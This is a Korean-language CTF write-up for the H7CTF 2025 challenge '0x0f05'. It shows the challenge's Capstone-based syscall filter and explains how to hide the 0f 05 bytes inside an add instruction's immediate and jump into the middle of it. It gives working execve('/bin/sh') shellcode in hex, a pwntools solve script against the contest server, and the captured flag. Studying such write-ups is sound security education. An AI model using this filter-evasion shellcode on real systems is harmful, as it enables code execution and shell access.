Logo
Overview
[H7CTF 2025] 0x0f05 writeup

[H7CTF 2025] 0x0f05 writeup

October 21, 2025
3 min read

TL;DR

Capstone이 디코드한 명령에만 syscall 필터를 적용하므로 즉시값에 0f 05를 숨기고 midstream jump로 실행하도록 설계했다. /bin/sh와 argv를 스택에 구성한 뒤 execve를 호출해 셸을 획득했다. 필터 우회와 호출 트릭을 결합한 shellcode 주입 공격

Analysis

import sys
import mmap
import ctypes
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
from prettytable import PrettyTable
def disassemble(shellcode):
md = Cs(CS_ARCH_X86, CS_MODE_64)
table = PrettyTable()
table.field_names = ["Address", "Bytes", "Instruction"]
table.align["Address"] = "l"
table.align["Bytes"] = "l"
table.align["Instruction"] = "l"
instructions = []
for insn in md.disasm(shellcode, 0x1000):
address = f"0x{insn.address:08x}"
bytes_hex = ' '.join(f"{b:02x}" for b in insn.bytes)
instruction = f"{insn.mnemonic} {insn.op_str}".strip()
table.add_row([address, bytes_hex, instruction])
instructions.append((insn.mnemonic, insn.op_str))
print("\n[+] Disassembled Instructions:")
print(table)
return instructions
def check_syscall(instructions):
for mnemonic, op_str in instructions:
if mnemonic == "syscall" or (mnemonic == "int" and op_str == "0x80"):
print("[!] Detected syscall or int 0x80. Execution blocked.")
sys.exit(1)
def execute_shellcode(shellcode):
size = len(shellcode)
mem = mmap.mmap(-1, size, mmap.MAP_PRIVATE | mmap.MAP_ANONYMOUS, mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
mem.write(shellcode)
mem.seek(0)
libc = ctypes.CDLL(None)
libc.mprotect.argtypes = (ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int)
libc.mprotect(ctypes.c_void_p(ctypes.addressof(ctypes.c_char.from_buffer(mem))), size, mmap.PROT_READ | mmap.PROT_EXEC)
shell_func = ctypes.CFUNCTYPE(None)(ctypes.addressof(ctypes.c_char.from_buffer(mem)))
print("[+] Executing shellcode...")
try:
shell_func()
except Exception as e:
print(f"[!] Error executing shellcode: {e}")
if __name__ == "__main__":
print("0xWelcome to ex-code-0x02!")
print("[+] Enter shellcode (hex format, without 0x prefix):")
hex_shellcode = input().strip()
shellcode = bytes.fromhex(hex_shellcode)
print("[+] Disassembling shellcode...")
instructions = disassemble(shellcode)
print("[+] Checking for restricted syscalls...")
check_syscall(instructions)
execute_shellcode(shellcode)
def disassemble(shellcode):
md = Cs(CS_ARCH_X86, CS_MODE_64)
for insn in md.disasm(shellcode, 0x1000):
instruction = f"{insn.mnemonic} {insn.op_str}".strip()
instructions.append((insn.mnemonic, insn.op_str))

Capstone이 shellcode를 주소 0x1000부터 순차적으로 해석해 mnemonic과 operand를 수집한다. 디코딩이 직선적이므로 byte stream 중간 진입은 고려하지 않는다.

def check_syscall(instructions):
for mnemonic, op_str in instructions:
if mnemonic == "syscall" or (mnemonic == "int" and op_str == "0x80"):
sys.exit(1)

Capstone이 반환한 mnemonic을 문자열 비교로 필터링한다. 따라서 Capstone이 syscall이라고 결론내리지 못하도록 opcode 구성을 흐트러뜨리는 것이 목표다.

def execute_shellcode(shellcode):
mem = mmap.mmap(-1, size, mmap.MAP_PRIVATE | mmap.MAP_ANONYMOUS,
mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
mem.write(shellcode)
shell_func = ctypes.CFUNCTYPE(None)(ctypes.addressof(ctypes.c_char.from_buffer(mem)))
shell_func()

필터를 통과한 바이트는 RWX mmap 영역에 복사된 뒤 함수 포인터로 실행된다. 추가 변조 없이 원본 바이트가 그대로 실행되므로 디스어셈블러를 속이면 실제 실행에서는 순수 기계어 흐름을 사용할 수 있다.

우회 설계

lea rdi, [rip+binsh]
sub rsp, 0x20
...
add eax, 0x9090050f
jmp rcx

add eax, imm32 명령은 Capstone 관점에서 정상 명령이지만 즉시값 첫 두 바이트가 0f 05다. 직전 명령에서 RCX를 해당 명령의 두 번째 바이트(0f)로 이동시키고 jmp rcx를 실행하면 실제 실행 흐름은 syscall로 진입한다. Capstone은 여전히 add로 인식하므로 필터가 발동되지 않는다.

  • perform_encryption과 달리 이 문제에서는 입력이 그대로 실행되므로 self modifying 단계가 필요 없다.
  • mmap는 shellcode 크기만큼 할당하므로 문자열과 패딩을 포함해 전체 길이가 실제로 도움이 되는지 확인했다. /bin/sh 문자열은 쉘코드 끝에 위치해 RIP-relative addressing으로 접근한다.

Exploit

  1. /bin/sh\x00 문자열과 argv 배열을 스택에 배치해 execve 인자 준비
  2. mov al, 0x3b로 시스템 콜 번호를 설정하고 xor rdx, rdx로 envp를 NULL로 맞춘다
  3. lea rcx, [rip + disguise], add rcx, 1, jmp rcx 순서로 위장된 add eax, imm32 중간으로 진입
  4. 점프 착지 지점부터 syscall이 실행돼 셸을 획득한다. 이후 cat /flag.txt 실행으로 flag를 출력
from pwn import *
context.log_level = "debug"
shellcode_hex = (
"4883ec20488d3d3200000048893c2448c7442408000000004889e64831d231c0b03b"
"488d0d0b0000004883c101ffe14883c420c3050f0590909090ebf22f62696e2f736800"
)
MARK = b"__END_OF_CMD__"
p = remote("play.h7tex.com", 50424)
p.sendlineafter(b":", shellcode_hex.encode())
p.wait(1)
p.sendline(b"cat /flag.txt; echo " + MARK)
flag = p.recvuntil(MARK + b"\n", timeout=3).replace(MARK + b"\n", b"").decode().strip()
print(flag)
p.close()
andsopwn@meow:~/ctftemp/h7$ python3 -u "/home/andsopwn/ctftemp/h7/pwn/0x0f05/solve.py"
[x] Opening connection to play.h7tex.com on port 포트블라인드
[x] Opening connection to play.h7tex.com on port 포트블라인드: Trying 주소블라인드
[+] Opening connection to play.h7tex.com on port 포트블라인드: Done
[DEBUG] Received 0x1 bytes:
b'0'
[DEBUG] Received 0x4f bytes:
b'xWelcome to ex-code-0x02!\n'
b'[+] Enter shellcode (hex format, without 0x prefix):\n'
[DEBUG] Sent 0x8b bytes:
b'4883ec20488d3d3200000048893c2448c7442408000000004889e64831d231c0b03b488d0d0b0000004883c101ffe14883c420c3050f0590909090ebf22f62696e2f736800\n'
[DEBUG] Sent 0x23 bytes:
b'cat /flag.txt; echo __END_OF_CMD__\n'
[DEBUG] Received 0x1 bytes:
b'H'
[DEBUG] Received 0x41 bytes:
b'7CTF{sh3llc0d3_a1nt_g0nn4_m4k3_y0u_r1ch_3b8a39d4}\n'
b'__END_OF_CMD__\n'
H7CTF{sh3llc0d3_a1nt_g0nn4_m4k3_y0u_r1ch_3b8a39d4}
[*] Closed connection to play.h7tex.com port 포트블라인드